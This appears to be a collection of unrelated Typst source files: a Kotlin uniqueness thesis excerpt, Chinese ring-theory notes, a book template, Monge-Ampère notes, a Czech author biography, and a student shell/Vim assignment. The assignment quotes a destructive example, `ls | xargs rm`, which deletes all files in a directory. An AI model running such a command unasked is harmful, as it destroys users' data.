)<kt-uniqueness-class>
=== Uniqueness and Assignments
The uniqueness system handles assignments similarly to Boyland's system @boyland2001alias. Specifically, once a unique reference is read, it cannot be accessed again until it has been reassigned. However, passing a reference to a function expecting a `Borrowed` argument does not count as reading, since borrowing ensures that no further aliases are created during the function's execution. This approach allows for the formulation of the following uniqueness invariant: "A unique reference is either `null` or points to an object as the only accessible reference to that object."
#figure(
caption: "Uniqueness behavior with assignments in Kotlin",
```kt
class T()
class A(@property:Unique var t: T?)
fun borrowUnique(@Unique @Borrowed t: T?) {}
fun incorrectAssignment(@Unique a: A) {
val temp = a.t // 'temp' becomes unique, but 'a.t' becomes inaccessible
borrowUnique(a.t) // error: 'a.t' cannot be accessed
}
fun correctAssignment(@Unique a: A) {
borrowUnique(a.t) // ok, 'a.t' remains accessible
val temp = a.t // 'temp' becomes unique, but 'a.t' becomes inaccessible
borrowUnique(temp) // ok
a.t = null // 'a.t' is unique again
borrowUnique(a.t) // ok
}
```
)
== Benefits of Uniqueness
The uniqueness annotations that have been introduced can bring several benefits to the language.
=== Formal Verification
The main goal of introducing the concept of uniqueness in Kotlin is to enable the verification of interesting functional properties. For example, it might be interesting to prove the absence of `IndexOutOfBoundsException` in a function. However, the lack of aliasing guarantees within a concurrent context in Kotlin can complicate such proofs @KotlinDocsConcurrency, even for relatively simple functions like the one shown in @out-of-bound. In this example, the following scenario could potentially lead to an `IndexOutOfBoundsException`:
- The function executes `xs.add(x)`, adding an element to the list `xs`.
- Concurrently, another function with access to an alias of `xs` invokes the `clear` method, emptying the list.
- Subsequently, `xs[0]` is called on the now-empty list, raising an `IndexOutOfBoundsException`.
Uniqueness, however, offers a solution by providing stronger guarantees. If `xs` is unique, there are no other accessible references to the same object, which simplifies proving the absence of `IndexOutOfBoundsException`.
#figure(
caption: "Function using a mutable list",
```kt
fun <T> f(xs: MutableList<T>, x: T) : T {
xs.add(x)
return xs[0]
}
```
)<out-of-bound>
Moreover, the concept of uniqueness can significantly facilitate the process of encoding Kotlin programs into Viper. Uniqueness guarantees that a reference to an object is exclusive, meaning there are no other accessible references to it.
This characteristic aligns well with Viper's notion of write access. In Viper, write access refers to a situation where a reference is guaranteed to be inaccessible to any other part of the program outside the method performing the write operation. This guarantee allows Viper to perform rigorous formal verification since it can assume that no external factors will alter the reference while it is being used.
=== Smart Casts
As introduced in @cap:smart-cast, smart casts are an important feature in Kotlin that allow developers to avoid using explicit cast operators under certain conditions. However, the compiler can only perform a smart cast if it can guarantee that the cast will always be safe @KotlinSpec.
This guarantee relies on the concept of stability: a variable is considered stable if it cannot change after being checked, allowing the compiler to safely assume its type throughout a block of code.
Since Kotlin allows for concurrent execution, the compiler cannot perform smart casts when dealing with mutable properties. The reason is that after checking the type of a mutable property, another function running concurrently may access the same reference and change its value. @smart-cast-error, shows that after checking that `a.valProperty` is not `null`, the compiler can smart cast it from `Int?` to `Int`. However, the same operation is not possible for `a.varProperty` because, immediately after checking that it is not `null`, another function running concurrently might set it to `null`.
Guarantees on the uniqueness of references can enable the compiler to perform more exhaustive analysis for smart casts. When a reference is unique, the uniqueness system ensures that there are no accessible aliases to that reference, meaning it is impossible for a concurrently running function to modify its value. @smart-cast-unique shows the same example as before, but with the function parameter being unique. Since `a` is unique, it is completely safe to smart cast `a.varProperty` from `Int?` to `Int` after verifying that it is not null.
#figure(
caption: "Smart cast error caused by mutability",
```kt
class A(var varProperty: Int?, val valProperty: Int?)
fun useSharedA(a: A): Int {
return when {
a.valProperty != null -> a.valProperty // smart cast
a.varProperty != null -> a.varProperty // compilation error
else -> 0
}
}
```
)<smart-cast-error>
#figure(
caption: "Smart cast enabled thanks to uniqueness",
```kt
class A(var varProperty: Int?, val valProperty: Int?)
fun useUniqueA(@Unique @Borrowed a: A): Int {
return when {
a.valProperty != null -> a.valProperty // smart cast to Int
a.varProperty != null -> a.varProperty // smart cast to Int
else -> 0
}
}
```
)<smart-cast-unique>
=== Optimizations
Uniqueness can also optimize functions in certain circumstances, particularly when working with data structures like lists. In the Kotlin standard library, functions that manipulate lists, such as `filter`, `map`, and `reversed`, typically create a new list to store the results of the operation. For instance, as shown in @manipulate-list, the `filter` function traverses the original list, selects the elements that meet the criteria, and stores these elements in a newly created list. Similarly, `map` generates a new list by applying a transformation to each element, and `reversed` produces a new list with the elements in reverse order.
While this approach ensures that the original list remains unchanged, it also incurs additional memory and processing overhead due to the creation of new lists. However, when the uniqueness of a reference to the list is guaranteed, these standard library functions could be optimized to safely manipulate the list in place. This means that instead of creating a new list, the function would modify the original list directly, significantly improving performance by reducing memory usage and execution time.
#figure(
caption: "List manipulation example",
```kt
fun manipulateList(xs: List<Int>): List<Int> {
return xs.filter { it % 2 == 0 }
.map { it + 1 }
.reversed()
}
```
)<manipulate-list>
== Stack Example<cap:kt-stack>
To conclude the overview of the uniqueness system, a more complex example is provided in @kt-stack. The example shows the implementation of an alias-free stack, a common illustration in the literature for showcasing uniqueness systems in action @aldrich2002alias @zimmerman2023latte.
It is interesting to note that having a unique receiver for the `pop` function allows to safely smart cast `this.root` from `Node?` to `Node` (Lines 19-20); this would not be allowed without uniqueness guarantees since `root` is a mutable property.
#figure(
caption: "Stack implementation with uniqueness annotations",
```kt
class Node(
@property:Unique var value: Any?,
@property:Unique var next: Node?,
)
class Stack(@property:Unique var root: Node?)
fun @receiver:Borrowed @receiver:Unique Stack.push(@Unique value: Any?) {
val r = this.root
this.root = Node(value, r)
}
@Unique
fun @receiver:Borrowed @receiver:Unique Stack.pop(): Any? {
val value: Any?
if (this.root == null) {
value = null
} else {
value = this.root.value
this.root = this.root.next
}
return value
}
```
)<kt-stack> |
|
https://github.com/duskmoon314/THU_AMA | https://raw.githubusercontent.com/duskmoon314/THU_AMA/main/docs/ch3/3-特殊环.typ | typst | Creative Commons Attribution 4.0 International | #import "/book.typ": *
#show: thmrules
#show: book-page.with(title: "特殊环: 整环、多项式环")
= 特殊环: 整环、多项式环
== 整环及几类特殊整环
#figure(
align(center)[#table(
columns: 3,
align: (col, row) => (center, center, center).at(col),
inset: 6pt,
[$bb(Z)$], [$F lr([x])$], [$D$(整环)],
[整除性], [], [但$U lr((D))$致相伴],
[素数], [不可约多项式], [但存在既约元与素元之分],
[公因子], [], [但GCD可能不存在],
[唯一分解], [], [],
[带余除法], [], [],
)],
)
#definition()[
设$D$为含幺整环,$a , b in D$,则
+ 若$exists c in D$使得$a = b c$,则称$b$是$a$的#strong[因子\(factor, divisor)],称$a$为$b$的#strong[倍元\(multiple)],并称$b$可#strong[整除]$a$,记作$b \| a$
+ 若$a \| b$且$b \| a$,则称$a$与$b$#strong[相伴\(associate)],记作$a tilde.op b$
+ 若$a = b c$,且$b , c$均不为可逆元,则称$b$为$a$的#strong[真因子\(proper factor)]
]
#property()[
+ $forall a in D arrow.r.double a \| 0 quad lr((a 0 = 0))$
+ $forall a in D arrow.r.double 1 \| a quad lr((1 a = a))$
+ $forall u in U lr((D)) arrow.r.double u \| a quad lr((u u^(- 1) a = a))$
+ 整除的传递性 $a lr(|b , b|) c arrow.r.double a \| c$
+ $a tilde.op b arrow.l.r.double a = u b quad lr((u in U lr((D))))$
+ 相伴是一种等价关系
+ $u in U lr((D))$则$u tilde.op 1$且$u$无真因子
]
=== 素性
#definition()[
设$D$为含幺整环,$a , b in D , p in D \\ lr(({ 0 } union U lr((D))))$(非零非单位),则
+ 若$p$无真因子,则称$p$为#strong[既约元(irreducible element)],也即
+ 若$p lr(|a b arrow.r.double p|) a upright("或") p \| b$,则称$p$为#strong[素元(prime)]
]
#property()[
+ #theorem()[
设$D$为含幺整环,则$D$中的#strong[素元必为既约元]
]
#proof()[
设$p$为素元,若$p = a b arrow.r.double p lr(|a b arrow.r.double p|) a upright("或") p \| b$,不妨设$p \| a$。又$p = a b arrow.r.double a \| p$,故$p tilde.op a$,为既约元
]
+ 反之,既约元不一定是素元
#example()[
设$D = bb(Z) lr([sqrt(- 5)]) = { a + b sqrt(- 5) \| a , b in bb(Z) } subset.eq bb(C)$
引入模长方$N lr((u)) eq.delta u u^(‾) = a^2 + 5 b^2 in bb(N) lr((forall u in D))$
验证$N lr((u_1 u_2)) = N lr((u_1)) N lr((u_2))$ 为积性函数
设$u v = 1 arrow.r.double N lr((u)) N lr((v)) = N lr((1)) = 1 arrow.r.double N lr((u)) = N lr((v)) = 1 = a^2 + 5 b^2 arrow.r.double a = plus.minus 1 , b = 0 arrow.r.double U lr((D)) = { plus.minus 1 }$
考虑$3 in D$,设$3 = u v arrow.r.double N lr((3)) = 9 = N lr((u)) N lr((v))$,若$u , v$不是可逆元,则$N lr((u)) = N lr((v)) = 3$,但$a^2 + 5 b^2 = 3$无整数解,故这样的$u , v$不存在,故$3$为既约元
又$3 \| 6 = 2 times 3 = lr((1 + sqrt(- 5))) lr((1 - sqrt(- 5)))$,但$3 divides.not 1 plus.minus sqrt(- 5)$,故$3$不是素元
]
]
=== 公因子
#definition()[
设$D$为含幺整环,$a , b in D$,若有$d in D$满足
+ $d \| a$且$d \| b$
+ 若有$d prime in D$使得$d prime lr(|a , d prime|) b$,则$d prime \| d$
则称$d$是$a$与$b$的#strong[最大公因子(greatest common divisor, gcd)],记作$d tilde.op lr((a , b))$或$g c d lr((a , b))$
]
#property()[
+ $a$与$b$的任意GCD是相伴的
+ $lr((0 , a)) tilde.op a , lr((1 , a)) tilde.op 1 arrow.r.double lr((u , a)) tilde.op 1$,其中$u in U lr((D))$
+ $lr((a , lr((b , c)))) tilde.op lr((lr((a , b)) , c))$
#proof()[
记$d_1 = lr((a , lr((b , c)))) , d_2 = lr((lr((a , b)) , c))$
$d_1 lr(|a , d_1|) lr((b , c)) arrow.r.double d_1 lr(|b , d_1|) c arrow.r.double d_1 lr(|lr((a , b)) arrow.r.double d_1|) d_2$
]
+ $c lr((a , b)) tilde.op lr((c a , c b))$
#proof()[
记$d = lr((a , b)) , d_1 = lr((c a , c b))$
$d lr(|a arrow.r.double c d|) c a , d lr(|b arrow.r.double c d|) c b arrow.r.double c d \| d_1$,令$d_1 = z c d$
进一步令$c a = x d_1 , c b = y d_1$,将上式代入得$c a = x lr((z c d)) arrow.r.double^(upright("若") c eq.not 0) a = x z d$,同理得$b = y z d arrow.r.double z d \| lr((a , b)) = d arrow.r.double z tilde.op 1$
]
+ #definition()[
设$a , b in D$,若$lr((a , b)) tilde.op 1$,则称$a$与$b$#strong[互素(relative prime)]
]
若$lr((a , b)) tilde.op 1 , lr((a , c)) tilde.op 1$,则$lr((a , b c)) tilde.op 1$
#proof()[
$lr((a , b c)) tilde.op lr((lr((a , a c)) , b c)) tilde.op lr((a , lr((a c , b c)))) tilde.op lr((a , c lr((a , b)))) tilde.op lr((a , c)) tilde.op 1$
]
#remark()[
GCD 的定义中有存在性的假设
$forall a , b in D , lr((a , b))$是否存在?#strong[不一定存在]
]
+ #theorem()[
设$D$为含幺整环,若$forall a , b in D , gcd lr((a , b))$均存在,则$D$中的每个既约元也是素元
GCD条件 $arrow.r.double$ 素性条件
]
#proof()[
设$p$为既约元,若$p$不是素元,则$exists a , b , in D$使得$p \| a b$且$p divides.not a , p divides b$。
由$lr((a , p))$存在,可设$lr((a , p)) x = p$。由$p$既约,由$lr((a , p)) tilde.op p$或$lr((a , p)) in U lr((D))$。
若$lr((a , p)) tilde.op p$,因$lr((a , p)) \| a$,故有$p \| a$,这与$p divides.not a$矛盾。
故$lr((a , p)) tilde.op lr((b , p)) tilde.op 1$,由性质5,$lr((p , a b)) tilde.op 1$,与$p \| a b$矛盾。
]
]
=== 唯一分解
#definition()[
设$D$为含幺整环,若对任何$a in D \\ lr(({ 0 } union U lr((D))))$均有
+ $a$可分解为优先个既约元之积,即$a = p_1 p_2 dots.h.c p_s$,其中$p_i$为既约元
+ 在不计次序的意义下,以上分解唯一
则称$D$为#strong[唯一分解整环\(unique factorization domain, UFD)]
]
#definition()[
GCD条件:$D$中任何两个(不全为0)的元素均有最大公因子
素性条件:$D$中的每个既约元也是素元
因子链条件:$D$中的任何真因子链$a_1 , a_2 , dots.h.c , a_i , dots.h.c$只能含有有限项$lr((a_(i + 1) \| a_i , a_(i + 1) tilde.not a_i))$
]
#theorem()[
设$D$为含幺整环,则以下命题等价
+ $D$为唯一分解整环
+ $D$满足GCD条件和因子链条件
+ $D$满足素性条件和因子链条件
]
#proof()[
/ 1 #sym.arrow.r 2: 由UFD分解的存在性可知因子链条件成立
设$a = u p_1^(k_1) dots.h.c p_s^(k_s) , b = v p_1^(l_1) dots.h.c p_s^(l_s)$,其中$u , v in U lr((D)) , p_i$为既约元,$k_i , l_i in bb(N)$。令$e_i = min { l_i , k_i }$,则易验证$d = p_1^(e_1) dots.h.c p_s^(e_s)$为$gcd lr((a , b))$
/ 2 #sym.arrow.r 3: 显然
/ 3 #sym.arrow.r 1: $f o r a l l a in D \\ lr(({ 0 } union U lr((D))))$。先证明分解存在性,可由因子链条件保证。再证分解唯一性,可由素性条件保证。
]
=== 主理想整环
#definition()[
环中有一个元素生成的理想$lr((a))$称为#strong[主理想(principal ideal)]
设$D$为含幺整环,若$D$的任意理想均为主理想,则称$D$为#strong[主理想整环(principal ideal domain, PID)]
]
#property()[
+ #theorem()[
PID必为UFD
]
#proof()[
构造因子链条件:$a_0 a_1 dots.h.c a_n dots.h.c arrow.r.double lr((a_0)) subset.neq lr((a_1)) subset.neq lr((a_2)) dots.h.c arrow.r.double A eq.delta union.big_(i = 0)^oo lr((a_i))$ 可验证$A$为$D$的理想$arrow.r.double A = lr((r)) med lr((exists r in D)) arrow.r.double r in A arrow.r.double r in lr((a_k)) med lr((exists k)) a_k in A = lr((r)) arrow.r.double a_k tilde.op r$,同理$a_(k + 1) tilde.op r , a_(k + 2) tilde.op r dots.h.c$,故$a_k tilde.op a_(k + 1) tilde.op a_(k + 2) tilde.op dots.h.c$,故因子链条件成立
验证GCD条件:令$I = { x a + y b \| x , y in D }$,验证$I$为$D$中理想$arrow.r.double I = lr((d)) arrow.r.double exists x_0 , y_0 in D$使得$d = x_0 a + y_0 b$,故$d tilde.op lr((a , b))$
]
+ Bezout等式在PID中成立
+ 存在UFD不是PID,反例$bb(Z) lr([x])$为UFD但不是PID
]
#example()[
$F lr([x])$为PID,$F$为域
]
=== 欧几里得整环
#definition()[
设$D$为含幺整环,若存在映射$v : D^(\*) arrow.r bb(Z)^(+)$,满足对任何$a in D^(\*) , b in D$,均存在$q , r in D$使得 $ b = a q + r , r = 0 upright("或") v lr((r)) < v lr((a)) $ 则称$D$为#strong[欧几里得整环(Euclidean domain, ED)],而$v lr((a))$称为$a$的#strong[范数]
]
#theorem()[
ED必为PID,反之不成立(反例:蓝皮书)
]
#example()[
$bb(Z) , F lr([x]) , bb(Z) lr([i]) = { a + b i \| a , b in bb(Z) }$为ED
]
== 多项式环
核心问题:求根与分解
#theorem([$QQ[x]$ 中的多项式分解])[
设$f lr((x)) in bb(Q) lr([x])$,系数通分后得$c f lr((x)) in bb(Z) lr([x])$,则
$c f lr((x))$在$bb(Z) lr([x])$中(不)可约$arrow.l.r.double f lr((x))$在$bb(Q) lr([x])$中(不)可约
]
#theorem("有理根判则")[
]
#theorem("Eisenstein 判则")[
] |
https://github.com/rowanc1/typst-book | https://raw.githubusercontent.com/rowanc1/typst-book/main/book.typ | typst | MIT License |
#let leftCaption(it) = {
set text(size: 8pt)
set align(left)
set par(justify: true)
text(weight: "bold")[#it.supplement #it.counter.display(it.numbering)]
"."
h(4pt)
set text(fill: black.lighten(20%), style: "italic")
it.body
}
#let template(
// The book's title.
title: "Book Title",
subtitle: none,
// A color for the theme of the document
theme: blue.darken(30%),
// The book's content.
body
) = {
set heading(numbering: (..args) => {
let nums = args.pos()
let level = nums.len()
if level == 1 {
// Reset the numbering on figures
counter(figure.where(kind: image)).update(0)
counter(figure.where(kind: table)).update(0)
counter(math.equation).update(0)
[#numbering("1.", ..nums)]
} else {
[#numbering("1.1.1", ..nums)]
}
})
set figure(numbering: (..args) => {
let chapter = counter(heading).display((..nums) => nums.pos().at(0))
[#chapter.#numbering("1", ..args.pos())]
})
// Configure equation numbering and spacing.
set math.equation(numbering: (..args) => {
let chapter = counter(heading).display((..nums) => nums.pos().at(0))
[(#chapter.#numbering("1)", ..args.pos())]
})
show math.equation: set block(spacing: 1em)
show figure.caption: leftCaption
set figure(placement: auto)
// Configure lists.
set enum(indent: 10pt, body-indent: 9pt)
set list(indent: 10pt, body-indent: 9pt)
// Title and subtitle
box(inset: (bottom: 2pt), text(17pt, weight: "bold", fill: theme, title))
if subtitle != none {
parbreak()
box(text(14pt, fill: gray.darken(30%), subtitle))
}
// Outline of book
pagebreak()
show outline.entry.where(level: 1): it => {
v(12pt, weak: true)
strong(it)
}
outline(indent: auto)
show heading.where(level: 1): (it) => {
pagebreak()
let chapter = counter(heading).display((..nums) => nums.pos().at(0))
[Chapter #chapter]
it
}
// Display the book's contents.
body
}
|
https://github.com/AxiomOfChoices/Typst | https://raw.githubusercontent.com/AxiomOfChoices/Typst/master/Research/Summer%202024/Geometry%20School/Monge%20Ampere.typ | typst | #import "/Templates/generic.typ": latex
#import "/Templates/notes.typ": chapter_heading
#import "@preview/ctheorems:1.1.0": *
#import "/Templates/math.typ": *
#show: latex
#show: chapter_heading
#show: thmrules
#show: symbol_replacing
#show: equation_references
#set pagebreak(weak: true)
#set page(margin: (x: 2cm, top: 2cm, bottom: 2cm), numbering: "1")
#set enum(numbering: "(1)", indent: 1em)
#outline()
#let PSH = math.op("PSH")
#let osc = math.op("osc")
#pagebreak(weak: true)
= Complex Monge-Ampere equations on compact hermitian manifolds
Let $X$ be a compact manifold with $dim_CC = n$, a form $omega_X$ is called a hermition metric on $X$ if
$
omega_x = i sum_(j, k = 1)^n g_(j ov(k)) d z_j and d ov(z)_k
$
and $g_(j ov(k)) (x)$ is positive definite.
Note that
$
omega_X "is Kahler" <=> dif omega_X = 0 <=> (diff g_(j ov(k))) / (diff z_ell) = (diff g_(ell ov(k))) / (diff z_j), quad forall j,k,ell.
$
#theorem[
Take $f >= 0$ in $L^p
(X, omega_x^n)$, $p > 1$. Then there exists
$
(phi, c) in (PSH(omega_X) sect L^infinity) times (0, infinity)
$
solving
$
(omega_X + dif dif^c phi)^n = c f omega_X^n.
$
Moreover,
+ The constant $c > 0$ is unique, $phi$ is also unique if $f >= f_0 > f$.
+ $phi$ is uniformly bounded with $osc_X phi <= A = A(||f||_p,p,x,omega_x)$
+ One can replace $omega_x$ by a semipositive $(1,1)$-form $omega$ which is big.
+ If $f = e^(psi^+ - psi^-)$ where $psi^(plus.minus) in PSH(B omega_x) and C^infinity (Omega)$ where $Omega$ is any Zariski open set, implies that $phi in C^infinity (Omega)$.
]
#remark[
+ If $X$ is Kahler then $f > 0$ and is smooth. This is a theorem by Yau's.
+ If $X$ is non-Kahler then we know by Tosiath-Wenkore also that $f > 0$ and is smooth.
+ The constant $c$ can be computed explicitly when $omega_X$ is Kahler,
$
integral_X omega_X^n = integral_X (
omega_X + dif dif^c phi
)^n = c integral_X f omega_X^n => c = (integral_X omega_X^n) / (integral_X f omega_X^n).
$
The first equality follows from Stoke's theorem by expanding and using $dif omega_X = 0$.
]
|
|
https://github.com/chamik/gympl-skripta | https://raw.githubusercontent.com/chamik/gympl-skripta/main/cj-autori/remarque.typ | typst | Creative Commons Attribution Share Alike 4.0 International | #import "/helper.typ": autor
#autor("<NAME>", "1898", "1970 (72 let)", "spisovatel", "učitelský ústav v Münsteru", "pacifismus, ztracená generace", "/cj-autori/media/remarque.jpg")
Roku 1916 odešel v 18 letech do první světové války, na západní frontě byl brzy vážně raněn a konec války prožil v lazaretu v Duisburgu. Po návratu z války měl problémy začlenit se do normální společnosti. Vystřídal řadu povolání, nejprve chtěl být hudebníkem a později malířem. Pracoval též jako učitel, automobilový závodník, obchodní cestující aj. Působil i jako redaktor časopisů „Sport im Bild“ v Berlíně a „Echo Continental“ v Hannoveru.
Vydal několik povídek. Prosadit se mu ale podařilo až vydáním knihy Na západní frontě klid, což mu zajistilo celosvětový úspěch. Již rok nato byla zfilmována.
Ihned po nástupu nacismu (1933) se dostal na index zakázaných autorů a v roce 1938 byl zbaven německého občanství. Nacistická propaganda prohlásila, že <NAME> je doopravdy <NAME> (Remark pozpátku), Žid, který se nikdy nezúčastnil první světové války, a tudíž ji nemůže popisovat. Označila ho za „literárního zrádce“ a jeho knihy byly veřejně páleny.
Během druhé světové války zemřela jedna z jeho sester v koncentračním táboře, což ho později podnítilo k napsání knihy _Jiskra života_. Ještě před válkou emigroval do USA a do vlasti se již nikdy nevrátil.
Mezi jeho známá díla patří:
1. *Jiskra života* -- Kniha vypovídá o hrůzách života v nacistickém koncentračním táboře.
2. *Černý obelisk* -- Děj románu se odehrává v Německu ve dvacátých letech 20. století. Pro Německo je to období hyperinflace, kdy kurs marky se mění dvakrát denně. Hlavní hrdinové jsou kamarádi z I. světové války, na jejich osudu ukazuje politické a hospodářské těžkosti výmarského Německa. Současně zaznamenává důvody pro nástup nacismu v Německu.
*Současníci*\
_<NAME>_ -- Petr a Lucie, 1920 \
_<NAME>_ -- Stařec a moře (@starec[]), 1952\
_<NAME>_ -- Osudy dobrého vojáka Švejka, 1923\
#pagebreak() |
https://github.com/giZoes/justsit-thesis-typst-template | https://raw.githubusercontent.com/giZoes/justsit-thesis-typst-template/main/resources/utils/justify-text.typ | typst | MIT License | // 双端对其一段小文本,常用于表格的中文 key
#let justify-text(with-tail: false, tail: ":", body) = {
if with-tail and tail != "" {
stack(dir: ltr, stack(dir: ltr, spacing: 1fr, ..body.split("").filter(it => it != "")), tail)
} else {
stack(dir: ltr, spacing: 1fr, ..body.split("").filter(it => it != ""))
}
}
|
https://github.com/hemmrich/CV_typst | https://raw.githubusercontent.com/hemmrich/CV_typst/master/modules/professional.typ | typst | // Imports
#import "../template/template.typ": cvSection, cvEntry
#let metadata = toml("../metadata.toml")
#let cvSection = cvSection.with(metadata: metadata)
#let cvEntry = cvEntry.with(metadata: metadata)
#cvSection("Professional Experience")
#cvEntry(
title: [Software Engineer - Developer Platforms & Services],
society: [Yahoo! Inc],
logo: image("../src/logos/yahoo.png"),
date: [2016-2017],
location: [Sunnyvale, CA],
description: list(
[Built internal Ruby gem server to reduce dependence on external systems],
[Scaled centralized Github Enterprise instance to achieve 99.99% uptime],
),
)
|
|
https://github.com/Danmushu/missingSemester | https://raw.githubusercontent.com/Danmushu/missingSemester/main/shell%26vim%26data%20wrangling/main.typ | typst | #import "template.typ": *
/***** para *****/
#let title = "Shell & Vim & Data wrangling"
#let author = "梁子毅"
#let course_id = "系统开发工具基础"
#let instructor = "周小伟,范浩"
#let semester = "2024 Summer"
#let due_time = "Sep 5, 2024"
#let id = "22090001041"
#show: assignment_class.with(title, author, course_id, instructor, semester, due_time, id)
#set enum(numbering: "1.")
= shell
== 课后练习
#cprob[
阅读 man ls ,然后使用 ls 命令进行如下操作:
+ 所有文件(包括隐藏文件)
+ 文件打印以人类可以理解的格式输出 (例如,使用 454M 而不是 454279954)
+ 文件以最近访问顺序排序
+ 以彩色文本显示输出结果
][
+ `ls -a`
+ `ls -l -h`
+ `ls -l -t`
+ `ls --color=auto`
运行如@ls
]
#figure(
image("./figure/ls.png", width: 70%),
caption: [
分别对应上面四个实例
],
)<ls>
#cprob[
编写两个 bash 函数 marco 和 polo 执行下面的操作。 每当你执行 marco 时,当前的工作目录应当以某种形式保存,当执行 polo 时,无论现在处在什么目录下,都应当 cd 回到当时执行 marco 的目录。 为了方便 debug,你可以把代码写在单独的文件 marco.sh 中,并通过 source marco.sh 命令,(重新)加载函数。
][
```sh
#!bin/bash
marco() {
# 使用 pwd 命令获取当前工作目录的完整路径
echo "$(pwd)" > $HOME/marco_history.log # 将路径写入日志文件,覆盖旧内容
echo "the path $(pwd) has saved" # 输出保存成功的消息
}
polo() {
# 使用 cat 命令显示日志文件中保存的路径
cat $HOME/marco_history.log
# 使用 cd 命令切换到日志文件中显示的路径
# 注意:这里使用了反引号 ` 来执行命令替换,获取日志文件中的路径
cd `cat $HOME/marco_history.log`
echo "Done!" # 输出完成的消息
}
```
运行结果如@shell1
]
#figure(
image("./figure/shell1.png", width: 70%),
caption: [
对应一个marco实例
],
)<shell1>
#cprob[
假设您有一个命令,它很少出错。因此为了在出错时能够对其进行调试,需要花费大量的时间重现错误并捕获输出。 编写一段 bash 脚本,运行如下的脚本直到它出错,将它的标准输出和标准错误流记录到文件,并在最后输出所有内容。 加分项:报告脚本在失败前共运行了多少次。
][
```sh
#!/bin/bash
# 初始化计数器变量
count=0
# 清空 out.log 文件,用于记录输出
echo > out.log
# 无限循环,直到找到错误或手动停止
while true
do
# 运行 buggy.sh 脚本,并将输出追加到 out.log 文件
./buggy.sh &>> out.log
# 检查上一个命令的退出状态
if [[ $? -ne 0 ]]; then
# 如果命令失败,则打印日志文件内容
cat out.log
# 打印失败次数
echo "failed after $count times"
# 退出循环
break
fi
# 如果命令成功,则增加计数器
((count++)) # 双括号比较醒目
done
```
运行结果如@shell2
]
#figure(
image("./figure/shell2.png", width: 70%),
caption: [
对应一个test实例
],
)<shell2>
#cprob[
- 本节课我们讲解的 find 命令中的 -exec 参数非常强大,它可以对我们查找的文件进行操作。 如果我们要对所有文件进行操作呢?例如创建一个zip压缩文件?我们已经知道,命令行可以从参数或标准输入接受输入。在用管道连接命令时,我们将标准输出和标准输入连接起来,但是有些命令,例如tar 则需要从参数接受输入。这里我们可以使用xargs 命令,它可以使用标准输入中的内容作为参数。 例如 ls | xargs rm 会删除当前目录中的所有文件。您的任务是编写一个命令,它可以递归地查找文件夹中所有的HTML文件,并将它们压缩成zip文件。注意,即使文件名中包含空格,您的命令也应该能够正确执行(提示:查看 xargs的参数-d)译注:MacOS 上的 xargs没有-d,查看这个issue
- 如果您使用的是 MacOS,请注意默认的 BSD find 与GNU coreutils 中的是不一样的。你可以为find添加-print0选项,并为xargs添加-0选项。作为 Mac 用户,您需要注意 mac 系统自带的命令行工具和 GNU 中对应的工具是有区别的;如果你想使用 GNU 版本的工具,也可以使用 brew 来安装。][
+ 通过如@exec1 代码创建所需文件
+ 在输入下面的一行命令
```sh
find . -type f -name "*.test" | xargs -d '\n' tar -cvzf test.zip
```
- 使用`find`命令从当前目录开始搜索所有`.test`文件
- 用`xargs`命令处理管道来的`find`命令的输出
- `-d '\n'`选项告诉`xargs`使用换行符作为分隔符,这样每个文件名都会被单独处理
- 调用`tar`命令创建一个名为`test.zip`的压缩文件
- `-c`选项表示创建一个新的压缩文件
- `-v`选项表示在压缩过程中显示详细信息
- `-z`选项表示使用`gzip`压缩
]
#figure(
image("./figure/exec1.png", width: 70%),
caption: [
操作实例1
],
)<exec1>
#figure(
image("./figure/exec2.png", width: 70%),
caption: [
操作实例2
],
)<exec2>
= Vim
#cprob[
下载课程提供的 vimrc,然后把它保存到 `~/.vimrc`。 通读这个注释详细的文件 (用 Vim!), 然后观察 Vim 在这个新的设置下看起来和使用起来有哪些细微的区别。][
- 文档如下
```vim
" Comments in Vimscript start with a `"`.
" If you open this file in Vim, it'll be syntax highlighted for you.
" Vim is based on Vi. Setting `nocompatible` switches from the default
" Vi-compatibility mode and enables useful Vim functionality. This
" configuration option turns out not to be necessary for the file named
" '~/.vimrc', because Vim automatically enters nocompatible mode if that file
" is present. But we're including it here just in case this config file is
" loaded some other way (e.g. saved as `foo`, and then Vim started with
" `vim -u foo`).
set nocompatible
" Turn on syntax highlighting.
syntax on
" Disable the default Vim startup message.
set shortmess+=I
" Show line numbers.
set number
" This enables relative line numbering mode. With both number and
" relativenumber enabled, the current line shows the true line number, while
" all other lines (above and below) are numbered relative to the current line.
" This is useful because you can tell, at a glance, what count is needed to
" jump up or down to a particular line, by {count}k to go up or {count}j to go
" down.
set relativenumber
" Always show the status line at the bottom, even if you only have one window open.
set laststatus=2
" The backspace key has slightly unintuitive behavior by default. For example,
" by default, you can't backspace before the insertion point set with 'i'.
" This configuration makes backspace behave more reasonably, in that you can
" backspace over anything.
set backspace=indent,eol,start
" By default, Vim doesn't let you hide a buffer (i.e. have a buffer that isn't
" shown in any window) that has unsaved changes. This is to prevent you from "
" forgetting about unsaved changes and then quitting e.g. via `:qa!`. We find
" hidden buffers helpful enough to disable this protection. See `:help hidden`
" for more information on this.
set hidden
" This setting makes search case-insensitive when all characters in the string
" being searched are lowercase. However, the search becomes case-sensitive if
" it contains any capital letters. This makes searching more convenient.
set ignorecase
set smartcase
" Enable searching as you type, rather than waiting till you press enter.
set incsearch
" Unbind some useless/annoying default key bindings.
nmap Q <Nop> " 'Q' in normal mode enters Ex mode. You almost never want this.
" Disable audible bell because it's annoying.
set noerrorbells visualbell t_vb=
" Enable mouse support. You should avoid relying on this too much, but it can
" sometimes be convenient.
set mouse+=a
" Try to prevent bad habits like using the arrow keys for movement. This is
" not the only possible bad habit. For example, holding down the h/j/k/l keys
" for movement, rather than using more efficient movement commands, is also a
" bad habit. The former is enforceable through a .vimrc, while we don't know
" how to prevent the latter.
" Do this in normal mode...
nnoremap <Left> :echoe "Use h"<CR>
nnoremap <Right> :echoe "Use l"<CR>
nnoremap <Up> :echoe "Use k"<CR>
nnoremap <Down> :echoe "Use j"<CR>
" ...and in insert mode
inoremap <Left> <ESC>:echoe "Use h"<CR>
inoremap <Right> <ESC>:echoe "Use l"<CR>
inoremap <Up> <ESC>:echoe "Use k"<CR>
inoremap <Down> <ESC>:echoe "Use j"<CR>
```
]
#cprob[
- 安装和配置一个插件: ctrlp.vim.
+ 用 mkdir -p ~/.vim/pack/vendor/start 创建插件文件夹
+ 下载这个插件: cd ~/.vim/pack/vendor/start; git clone https://github.com/ctrlpvim/ctrlp.vim
